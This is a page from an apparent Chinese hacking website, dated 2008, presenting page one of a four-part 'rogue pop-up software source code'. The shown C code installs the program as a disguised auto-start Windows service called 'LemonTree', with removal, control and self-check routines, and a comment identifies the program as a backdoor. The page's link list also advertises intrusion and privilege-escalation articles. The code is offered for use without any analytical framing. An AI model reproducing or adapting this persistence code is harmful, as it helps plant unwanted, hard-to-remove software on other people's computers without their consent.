黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]一个弹窗口的流氓软件源码
        ★★★★★

一个弹窗口的流氓软件源码

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-5-19 10:24:32

代码:

/**************************************************************************************************
* 全局变量
**************************************************************************************************/

#define SERVICE_NAME            L”LemonTree”
#define SERVICE_DESCRIPTION        L”LemonTree”
#define    SERVICE_DISPLAY_NAME    L”LemonTree”

SERVICE_STATUS            serviceStatus;
SERVICE_STATUS_HANDLE    hServiceStatus;

BOOL                ServiceInstall( WCHAR * );            //安装服务
BOOL                ServiceUnstall( WCHAR * );            //删除服务
void                ServiceControl( DWORD );            //控制服务
BOOL                ServiceExists( WCHAR * );            //判断服务是否存在

/***********************************************************************************
* 安装服务
* 参数:主程序全路径
* 返回:成功返回TRUE,否则为FALSE
***********************************************************************************/

BOOL ServiceInstall( WCHAR *exeFilePath )
{
WCHAR    tmpPath[MAX_PATH] = { 0 };
HKEY    key;

SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
if ( serviceMangerHandle == 0 )
{
printf( “Install: Open services manager database error: %d\n”, GetLastError() );
return FALSE;
}

SC_HANDLE serviceHandle = CreateService
(
serviceMangerHandle ,
SERVICE_NAME ,
SERVICE_DISPLAY_NAME ,
SERVICE_ALL_ACCESS ,
SERVICE_WIN32_OWN_PROCESS ,
SERVICE_AUTO_START ,
SERVICE_ERROR_NORMAL ,
exeFilePath ,
NULL ,
NULL ,
NULL ,
NULL ,
NULL
);

if ( serviceHandle == 0 )
{
printf( “Create service error: %d\n”, GetLastError() );

CloseServiceHandle( serviceMangerHandle );
return FALSE;
}

wcscpy( tmpPath, L”SYSTEM\CurrentControlSet\Services\” );
wcscat( tmpPath, SERVICE_NAME );

if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
{
printf( “Open key %s error: %d\n”, tmpPath, GetLastError() );
return FALSE;
}

RegSetValueEx( key, L”Description”, 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );

RegCloseKey(key);

if( !StartService( serviceHandle, 0, 0 ) )
{
printf( “Install service ok, but start it error: %d\n”, GetLastError() );
}
else
{
printf( “Install service ok, start it ok.\n” );
}

CloseServiceHandle( serviceHandle );
CloseServiceHandle( serviceMangerHandle );

return TRUE;
}

/**************************************************************************************************
* 删除服务
**************************************************************************************************/

BOOL ServiceUnstall( WCHAR *serviceName )
{
SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);

if ( scmHandle == NULL )
{
return FALSE;
}

SC_HANDLE    scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );

if( scHandle == NULL )
{
CloseServiceHandle( scmHandle );

return FALSE;
}

DeleteService( scHandle );

CloseServiceHandle( scHandle );
CloseServiceHandle( scmHandle );

return TRUE;

}

/**************************************************************************************************
* 服务控制函数
**************************************************************************************************/

void ServiceControl( DWORD request )
{
#ifdef DEBUG
LogToFile( L”ServiceControl: Into ServiceControl\n” );
#endif

switch ( request )
{
case SERVICE_CONTROL_PAUSE:

serviceStatus.dwCurrentState = SERVICE_PAUSED;

break;

case SERVICE_CONTROL_CONTINUE:

serviceStatus.dwCurrentState = SERVICE_RUNNING;

break;

case SERVICE_CONTROL_STOP:

#ifdef DEBUG
LogToFile( L”ServiceControl: Try to stop service\n” );
#endif

serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

break;

case SERVICE_CONTROL_INTERROGATE:

break;

default:

#ifdef DEBUG
LogToFile( L”ServiceControl: Error arguments\n” );
#endif

break;
}

if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
{
#ifdef DEBUG
WCHAR    tmp[256] = { 0 };
wsprintf( tmp, L”ServiceMain: Control service error: %d\n”, GetLastError() );
LogToFile( tmp );
#endif
}

return;
}

BOOL ServiceExists( WCHAR *path )
{
WCHAR    tmpPath[MAX_PATH] = { 0 };
HKEY    key;
WCHAR    value[512] = { 0 };

int        type = REG_EXPAND_SZ;
int        size = sizeof(value);

wcscpy( tmpPath, L”SYSTEM\CurrentControlSet\Services\” );
wcscat( tmpPath, SERVICE_NAME );

if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
{
//printf( “RegOpenKeyEx Error: %d\n”, GetLastError() );
return FALSE;
}

if( RegQueryValueEx( key, L”ImagePath”, NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )
{
//printf( “RegQueryValueEx Error: %d\n”, GetLastError() );

return FALSE;
}

if( key )    RegCloseKey( key );

// 如果服务的程序路径等于后门本身,表示已经安装
if( 0 == _wcsicmp( value, path ) )
{
return TRUE;
}

return FALSE;
}

上一页  [1] [2] [3] [4] 

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体:
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886